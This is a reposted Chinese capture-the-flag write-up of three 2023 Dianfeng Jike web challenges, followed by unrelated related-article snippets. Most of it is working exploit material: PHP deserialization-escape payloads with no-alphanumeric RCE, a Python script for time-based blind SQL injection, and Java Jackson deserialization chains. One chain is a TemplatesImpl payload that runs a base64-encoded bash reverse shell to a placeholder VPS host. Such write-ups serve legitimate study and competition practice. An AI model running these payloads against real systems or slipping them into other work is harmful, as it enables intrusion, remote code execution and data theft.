2023巅峰极客比赛web复现

news2024/11/24 17:49:09

<1> unserialize(反序列化字符串逃逸)

下载 www.zip得到源码:

my.php 存在 pull_it恶意类  反序列化时会执行 $this-x   

这里有一层过滤 $this-x不能为字母数字 可以取反、异或绕过

 下面来找一找怎么去触发反序列化

index.php 会对我们登录框输入的参数先做序列化存储在$_SESSION['login']里,并用 b 函数替换字符

 login.php 则会对我们在index.php 存储到$_SESSION['login']的序列化数据,先用a()函数替换 然后进行反序列化

 看一下a函数和b函数

function b($data) {
	return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}

a函数和b函数都是字符串替换,反序列化之前会调用a函数 对序列化数据进行替换 把 'bbbbbb' 替换为 'aaaa'  存在反序列化字符串逃逸    为:关键词减少的情况

 可以参考之前写的文章:buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)_($_session['123'])) burp_葫芦娃42的博客-CSDN博客

 正常输入root=root pwd=pwd的序列化内容:

O:7:"push_it":2:{s:13:"%00push_it%00root";s:4:"root";s:12:"%00push_it%00pwd";s:3:"pwd";}

我们可以通过 给root赋值 bbbbbb再来看一下序列化内容:

O:7:"push_it":2:{s:13:" push_it root";s:6:"aaaa";s:12:"%00push_it%00pwd";s:3:"pwd";}

就可以逃逸出两个字符。

因此我可以通过构造root传参 以这种方式 把后面的  ";s:12:"%00push_it%00pwd";s:3:"  逃逸掉,使其变成 s:双引号里的参数,然后pwd参数就逃逸出来了,我们可以构造pwd 写入构造好的 pull_it类 进行无字母数字rce

payload:(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);  system('ls');

 构造序列化数据

<?php
class pull_it
{
    private $x;

    function __construct($xx)
    {
        $this->x = $xx;
    }
}
$a = new pull_it("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);");
$payload = serialize($a);
echo urlencode($payload);
# O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A37%3A%22%28%7E%258C%2586%258C%258B%259A%2592%29%28%7E%2593%258C%25DF%25D0%29%3B%22%3B%7D

 前面需要再加上一个参数,因此给pwd赋值:;s:1:"a";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A17%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%93%8C%DF%D0%29%3B%22%3B%7D

O:7:"push_it":2:{s:13:" push_it root";s:4:"root";s:12:" push_it pwd";s:145:";s:1:"a";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A17%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%93%8C%DF%D0%29%3B%22%3B%7D";}

红色部分应该为我们逃逸的字符,长度为  28  那么我们就需要给root传 14个 bbbbbb

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=;s:12:"%00push_it%00pwd";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A19%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%88%97%90%9E%92%96%29%3B%22%3B%7D

<2> hellosql(笛卡尔积盲注)

过滤了if,用case when绕过,sleep、benchmark、rpad也过滤了,用笛卡尔积延时,通常是用count(*),这里count被过滤了,其他函数也可以,这里用sum

heavy query延时原理是:做大量的查询导致查询时间较长来达到延时的效果。通常选择一些比较大的表做笛卡尔积运算

/index.php?id=1'||case when(1) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1

 when() 里就可以放我们的bool语句 进行bool盲注

import requests
import string
import time

dic=string.ascii_letters + string.digits

url = 'http://****/?id='
payload = '''1'||case when({}) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1'''
flag=''
for i in range(1,100):
    for j in dic:
        data = payload.format("((substr(({}),{},1)))=BINARY('{}')").format("select Flagg from Flllag",str(i),j)
        t = time.time()
        try:
            r=requests.get(url+data,timeout=3)

        except Exception as e:
            pass
        if time.time() - t > 3:
            flag+=j
            print(flag)
            break
print(flag)

 <3> BabyURL(jackson依赖)

 题目结构如下:

查看 IndexController  发现了 /hack 和 /file路由

/hack路由代码如下: 反序列化的入口

但这里反序列化是自定义对象输入流 MyObjectInputStream

跟进看一下

        String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};

过滤了  Transformer、URLVisiter和URLHelper

 /file路由: 会读取/tmp/file的内容并返回

我们再来看一下URLHelper类的实现

URLHelper类继承了 Serializable接口 存在readObject() 也有一个反序列化入口

 它被反序列化时,会调用 URLVisiter.visitUrl(this.url);  并且把结果写入到 /tmp/file

那如果 URLVisiter.visitUrl() 可以实现任意文件读取的话,就可以 通过反序列化写入 /tmp/file,然后通过/file路由读取了 

我们再看一下 URLVisiter.visitUrl() 代码实现

里面也有一个过滤,会对传入的url做校验 不过可以用 大写File绕过,然后利用 File:// 协议读取文件

所以思路已经明确了,下一步主要是思考怎么去进行 反序列化

(1) SignObject#getObject二次反序列化 

由于URLHelper类被过滤了,无法直接反序列化,不过可以借助 SignObject#getObject 触发二次反序列化二次反序列化

 而在jackson中,POJONode#toString方法(实际上是其父类BaseJsonNode) 可以调用getter方法,调用过程如下:

BaseJsonNode#toString
  InternalNodeMapper#nodeToString
    ObjectWriter#writeValueAsString
      ObjectWriter#_writeValueAndClose
        DefaultSerializerProvider#serializeValue
          DefaultSerializerProvider#_serialize
            BeanSerializer#serialize
              BeanSerializerBase#serializeFields
                BeanPropertyWriter#serializeAsField

因此 我们可以通过 BaseJsonNode#toString 调用 SignObject#getObject 进行二次反序列化

注:Java在writeObject序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查,而BaseJsonNode类刚好就实现了这个writeReplace方法。这里的处理方法是:手动在项目中建一个和BaseJsonNode一样包名的类

 

 现在问题又转换为如何调用任意类的toString方法 CC5链中有此类解决方法

JDK中BadAttributeValueExpException 的 readObject中会调用 .toString()

exp如下:

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;

public class exp {
    public static void main(String[] args) throws IOException, SignatureException, InvalidKeyException, NoSuchAlgorithmException, NoSuchFieldException, IllegalAccessException {
        //URLHelper handler = new URLHelper("File:///");
        URLHelper handler = new URLHelper("File:///flag_is_here");
        handler.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val, "val", node);

        System.out.println(URLEncoder.encode(base64Encode(serialize(val))));
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        oos.close();
        return bos.toByteArray();
    }

    public static Object unserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream ois = new ObjectInputStream(btin);
        ois.close();
        return ois.readObject();
    }
    public static String base64Encode(byte[] bytes) {
        java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }
}

再次 file:///flag_is_here 读取flag

(2) 绕过黑名单打TemplatesImpl

上面我们可以知道,POJONode#toString方法可以调用getter方法

而这道题重写的 MyObjectInputStream()#resolveClass 里并没有限制 TemplatesImpl

我们还可以利用 getter 让其调用 TemplatesImpl.getOutputProperties()  从而打TemplatesImpl rce链子

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;

public class exp_template {
    public static void main(String[] args) throws Exception {

        byte[] code = getTemplates_class();
        byte[][] codes = {code};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val,"val",node);
        System.out.println(URLEncoder.encode(base64Encode(serialize(val))));
    }
    public static byte[] getTemplates_class() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMvcG9ydCAwPiYx}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        oos.close();
        return bos.toByteArray();
    }

    public static String base64Encode(byte[] bytes) {
        java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }
}

环境&参考:2023巅峰极客 BabyURL · 语雀

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/845396.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CSP-J2019初赛试题客观题详解

1、中国的国家顶级域名是() A. .cn B. .ch C. .chn D. .China 【答案】A 【解析】 常见的顶级域名还有&#xff1a;.com表示商业机构&#xff1b;.org表示非盈利性组织&#xff1b;.net表示网络服务机构&#xff1b; .gov表示政府部门&#xff1b;.edu表示…

十三、ESP32PS2摇杆(ADC)

1. 运行效果 在上下左右操作PS2摇杆的时候,会检测到数据 2. 滑动电阻

Linux centos 常用命令 【持续更新】

一、查看文件信息 indoe和目录项 # df命令查看每个硬盘分区的inode总数和已经使用的数量 df -i# 查看inode的大学 xfs_growfs /dev/sda1|grep "isize"# 查看文件的indoe号码 ls -istat查看文件信息 # 文件的详细信息 stat anaconda-ks.cfg # -t参数是在一行内输出…

创建型模式-工厂模式

文章目录 一、工厂模式1. 简单工厂模式1.1 结构1.2 实现1.3 优缺点1.4 扩展-静态工厂 2. 工厂方法模式2.1 概念2.2 结构2.3 实现2.4 优缺点 3. 抽象工厂模式3.1 概念3.2 结构3.3 实现3.4 优缺点3.5 使用场景 4. 工厂模式扩展4.1 简单工厂配置文件解除耦合 5. JDK源码解析-Colle…

软件架构师思维塑造

一、软件系统设计的六项原则 1、单一职责原则&#xff08;Single Responsibility Principle&#xff09; 2、开闭原则&#xff08;Open Closed Principle&#xff09; 3、里氏替换原则&#xff08;Liskov Substitution Principle&#xff09; 4、迪米特法则&#xff08;Law of …

图数据库使用及业务场景

一. 前言 来学习下图数据以及图数据库 二. 图数据库的简单原理 2.1 图数据 我认为图数据结构就是点线面的关系&#xff0c;图大致分为以下概念 &#xff1a; 节点 &#xff1a; 图中的基本元素&#xff0c;可以用来表示现实世界中的一个**实体 **边 &#xff1a; 节点之间…

接口自动化测试Mock Get和Post请求

Mock可以模拟一个http接口的后台响应&#xff0c;可以模拟request&#xff0c;response 下载 moco-runner-0.11.0-standalone.jar 下载链接: https://pan.baidu.com/s/1bmFzvJPRnDlQ-cmuJ_3iRg 提取码: kpjv 确保安装了jdk,cmd下可以运行java -version 一、模拟不带参的get请求…

恶意软件和反病毒

1. 什么是恶意软件&#xff1f; 恶意软件&#xff08;Malware&#xff09;是指以恶意目的而设计和开发的计算机软件。恶意软件的目标是在未经授权或知情的情况下入侵用户的计算机系统、窃取敏感信息、破坏系统功能或进行其他有害活动。恶意软件可以采取多种形式&#x…

VUE vue天气预报 高德接口 和风天气

方法一: 高德天气 1、引入axios import axios from "axios"; 2、 发生请求 getWeatherData() {let url https://restapi.amap.com/v3/weather/weatherInfo?city杨浦区&keyd77b4c08b2718e4e06def82570d3e834&extensionsbase;axios.get(url).then(res >…

Windows下安装Sqoop

Windows下安装Sqoop 一、Sqoop简介二、Sqoop安装2.1、Sqoop官网下载2.2、Sqoop网盘下载2.3、Sqoop安装&#xff08;以version&#xff1a;1.4.7为例&#xff09;2.3.1、解压安装包到 D:\bigdata\sqoop\1.4.7 目录2.3.2、新增环境变量 SQOOP_HOME2.3.3、环境变量 Path 添加 %SQO…

【统计学精要】:使用 Python 实现的统计检验— 1/10

一、介绍 欢迎来到“掌握 Python 统计测试&#xff1a;综合指南”&#xff0c;它将介绍本手册中您需要熟悉使用 Python 的所有基本统计测试和分析方法。本文将为您提供统计测试及其应用的全面介绍&#xff0c;无论您是新手还是经验丰富的数据科学家。 使用来自现实世界的实际示…

Linux学习之sed替换命令讲解

cat /etc/redhat-release看到操作系统是CentOS Linux release 7.6.1810&#xff0c;uname -r看到内核版本是3.10.0-957.el7.x86_64&#xff0c;bash --version可以看到bash版本是4.2.46(2)。 sed&#xff08;sed strem editor&#xff09;可以理解为行编辑器&#xff0c;但它…

C++ Lambda表达式的完整介绍

一、Lambda表达式概述 c在c11标准中引入了lambda表达式&#xff0c;一般用于定义匿名函数&#xff0c;lambda表达式&#xff08;也称为lambda函数&#xff09;是在调用或作为函数参数传递的位置处定义匿名函数对象的便捷方法。通常&#xff0c;lambda用于封装传递给算法或异步…

SpringBoot对接OpenAI

SpringBoot对接OpenAI 随着人工智能技术的飞速发展&#xff0c;越来越多的开发者希望将智能功能集成到自己的应用中&#xff0c;以提升用户体验和应用的功能。OpenAI作为一家领先的人工智能公司&#xff0c;提供了许多先进的自然语言处理和语言生成模型&#xff0c;其中包括深…

eclipse Java Code_Style Code_Templates

Preferences - Java - Code Style - Code Templates Eclipse [Java_Code_Style_Code_Templates_ZengWenFeng] 2023.08.07.xml 创建一个新的工程&#xff0c;不然有时候不生效&#xff0c;旧项目可能要重新导入eclipse 创建一个测试类试一试 所有的设置都生效了

【雕爷学编程】Arduino动手做(195)---HT16k33 矩阵 8*8点阵屏模块5

37款传感器与模块的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&#x…

Nginx(2)

目录 1.安装Nginx1.yum安装2.编译安装3.Nginx命令 2.配置文件详解 1.安装Nginx 1.yum安装 [rootdocker ~]# yum -y install nginx通过 rpm -ql nginx 查看安装信息 2.编译安装 2.1安装所需要的依赖 yum install -y gcc gcc-c make libtool wget pcre pcre-devel zlib zlib-…

4. C++构造函数和析构函数

一、对象的初始化和清理 C中的面向对象来源于生活&#xff0c;每个对象也都会有初始设置以及对象销毁前的清理数据的设置&#xff0c;对象的初始化和清理也是两个非常重要的安全问题 一个对象或者变量没有初始状态&#xff0c;对其使用后果是未知的使用完一个对象或变量&#x…

CentOS7安装Maven详细教程

&#x1f60a; 作者&#xff1a; Eric &#x1f496; 主页&#xff1a; https://blog.csdn.net/weixin_47316183?typeblog &#x1f389; 主题&#xff1a;CentOS7安装Maven详细教程 ⏱️ 创作时间&#xff1a; 2023年08月06日 第一步&#xff1a;上传或下载安装包&#x…

【Element】el-cascader 级联选择器

ElementUI label 为空的不展示 将children设为undefined dg(list) {list.forEach(item > {item.label item.nameitem.value item.iditem.children item.childrenList.length ! 0 ? item.childrenList : undefinedif (item.children) {this.dg(item.children)}}) },第…